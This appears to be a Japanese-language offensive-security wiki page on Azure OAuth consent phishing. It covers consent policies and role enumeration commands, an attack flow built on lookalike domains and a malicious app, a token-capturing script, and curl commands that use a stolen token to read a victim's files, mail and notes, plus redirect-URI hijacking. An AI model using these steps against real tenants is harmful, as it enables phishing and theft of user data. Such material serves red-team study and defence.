Az - OAuth Apps Phishing

Reading time: 13 minutes

OAuth App Phishing

Azure Applications は、ユーザーがアプリケーションに同意したときに使用できる権限で構成されています（ディレクトリの列挙、ファイルへのアクセス、またはその他のアクションの実行など）。アプリケーションはユーザーの代理で動作するため、アプリが管理者権限を要求しても、同意したユーザーがその権限を持っていない場合、アプリは管理者アクションを実行できません。

アプリの同意権限

デフォルトでは、ユーザーはアプリに同意できますが、これは設定可能で、ユーザーが選択された権限の検証されたパブリッシャーのアプリにのみ同意できるようにすることや、アプリケーションへの同意権限を削除することもできます。

ユーザーが同意できない場合、GA、Application Administrator、またはCloud Application Administratorのような管理者が、ユーザーが使用できるアプリケーションに同意することができます。

さらに、ユーザーが低リスクの権限を持つアプリにのみ同意できる場合、これらの権限はデフォルトでopenid、profile、email、User.Read、およびoffline_accessですが、このリストにさらに追加することも可能です。

ユーザーがすべてのアプリに同意できる場合、すべてのアプリに同意できます。

2種類の攻撃

• 未認証: 外部アカウントから、例えば低リスク権限のUser.ReadおよびUser.ReadBasic.Allを持つアプリケーションを作成し、ユーザーをフィッシングすることで、ディレクトリ情報にアクセスできます。
• フィッシングされたユーザーは、外部テナントからのOAuthアプリを受け入れることができる必要があります。
• フィッシングされたユーザーが任意の権限を持つアプリに同意できる管理者である場合、アプリケーションは特権権限を要求することもできます。
• 認証済み: 十分な権限を持つプリンシパルを侵害した後、アカウント内にアプリケーションを作成し、特権OAuth権限を受け入れることができる特権ユーザーをフィッシングします。
• この場合、すでにディレクトリの情報にアクセスできるため、権限User.ReadBasic.Allはもはや興味深くありません。
• 管理者が付与する必要がある権限に興味がある可能性が高いです。なぜなら、通常のユーザーはOAuthアプリに権限を与えることができないからです。そのため、そのユーザーのみをフィッシングする必要があります（この特権を付与する役割/権限については後で詳しく説明します）。

ユーザーは同意することが許可されています

テナント内のユーザーからこのコマンドを実行する必要があることに注意してください。外部からテナントのこの設定を見つけることはできません。次のCLIは、ユーザーの権限を理解するのに役立ちます:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"

• ユーザーはすべてのアプリに同意できます: permissionGrantPoliciesAssigned 内に ManagePermissionGrantsForSelf.microsoft-user-default-legacy が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
• ユーザーは、確認済みのパブリッシャーまたは自組織からのアプリに同意できますが、選択した権限に対してのみ: permissionGrantPoliciesAssigned 内に ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
• ユーザーの同意を無効にする: permissionGrantPoliciesAssigned 内に ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat と ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team のみが見つかる場合、ユーザーは同意できません。

コメントされたポリシーの意味を見つけることができます:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

アプリケーション管理者

新しいアプリケーションを受け入れることができるアプリケーション管理者と見なされるユーザーを確認します：

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

攻撃フローの概要

攻撃は、一般的な企業をターゲットにしたいくつかのステップを含みます。以下のように展開される可能性があります：

1. ドメイン登録とアプリケーションホスティング: 攻撃者は、信頼できるサイトに似たドメイン（例："safedomainlogin.com"）を登録します。このドメインの下に、認証コードをキャプチャし、アクセストークンを要求するために設計されたアプリケーションをホストするサブドメイン（例："companyname.safedomainlogin.com"）を作成します。
2. Azure ADでのアプリケーション登録: 攻撃者は、ターゲット企業の名前を付けて、正当性を装ったマルチテナントアプリケーションを自分のAzure ADテナントに登録します。彼らは、悪意のあるアプリケーションをホストするサブドメインを指すようにアプリケーションのリダイレクトURLを設定します。
3. 権限の設定: 攻撃者は、さまざまなAPI権限（例：Mail.Read、Notes.Read.All、Files.ReadWrite.All、User.ReadBasic.All、User.Read）を持つアプリケーションを設定します。これらの権限は、ユーザーによって付与されると、攻撃者がユーザーの代わりに機密情報を抽出できるようにします。
4. 悪意のあるリンクの配布: 攻撃者は、悪意のあるアプリケーションのクライアントIDを含むリンクを作成し、ターゲットユーザーと共有して、同意を与えるように騙します。

例の攻撃

1. 新しいアプリケーションを登録します。攻撃されたディレクトリのユーザーを使用している場合は、現在のディレクトリのみにすることができますが、外部攻撃の場合は任意のディレクトリにすることができます（次の画像のように）。
2. リダイレクトURIも、トークンを取得するためのコードを受け取ることを期待するURLに設定します（デフォルトではhttp://localhost:8000/callback）。

2. 次に、アプリケーションシークレットを作成します：

3. API権限を選択します（例：Mail.Read、Notes.Read.All、Files.ReadWrite.All、User.ReadBasic.All、User.Read）

4. 権限を要求するウェブページを実行します（azure_oauth_phishing_example):

# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"

5. URLを被害者に送信する
6. この場合 http://localhost:8000
7. 被害者はプロンプトを受け入れる必要があります:

7. アクセス トークンを使用して要求された権限にアクセスする:

export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Other Tools

• 365-Stealer: https://www.alteredsecurity.com/post/introduction-to-365-stealerを確認して、設定方法を学んでください。
• O365-Attack-Toolkit

Post-Exploitation

Phishing Post-Exploitation

要求された権限に応じて、テナントの異なるデータにアクセスできる（ユーザー、グループのリスト...または設定を変更することさえ）と、ユーザーの情報（ファイル、ノート、メール...）にアクセスできるかもしれません。その後、これらの権限を使用してこれらのアクションを実行できます。

Entra ID Applications Admin

もし、Entra IDでアプリケーションを管理できるEntra IDプリンシパルを何らかの方法で侵害できた場合、テナントのユーザーによって使用されているアプリケーションがあります。管理者はアプリが要求している権限を変更し、トークンを盗むための新しい許可されたリダイレクトアドレスを追加できるでしょう。

• リダイレクトURIを追加することが可能です（本物のものを削除する必要はありません）そして、攻撃者のリダイレクトURIを使用してHTTPリンクを送信することができるので、ユーザーがリンクをたどると認証が自動的に行われ、攻撃者がトークンを受け取ります。
• アプリが要求する権限を変更して、ユーザーからより多くの権限を取得することも可能ですが、その場合、ユーザーは再度プロンプトを承認する必要があります（すでにログインしていても）。
• この攻撃を実行するために、攻撃者はアプリケーションコードを制御する必要はありません。彼は単に新しいURLを**redirect_uri**パラメータに持つアプリへのログインリンクをユーザーに送信することができます。

Application Post Exploitation

ページのアプリケーションとサービスプリンシパルのセクションを確認してください：

Az - EntraID Privesc

References

• https://www.alteredsecurity.com/post/introduction-to-365-stealer
• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/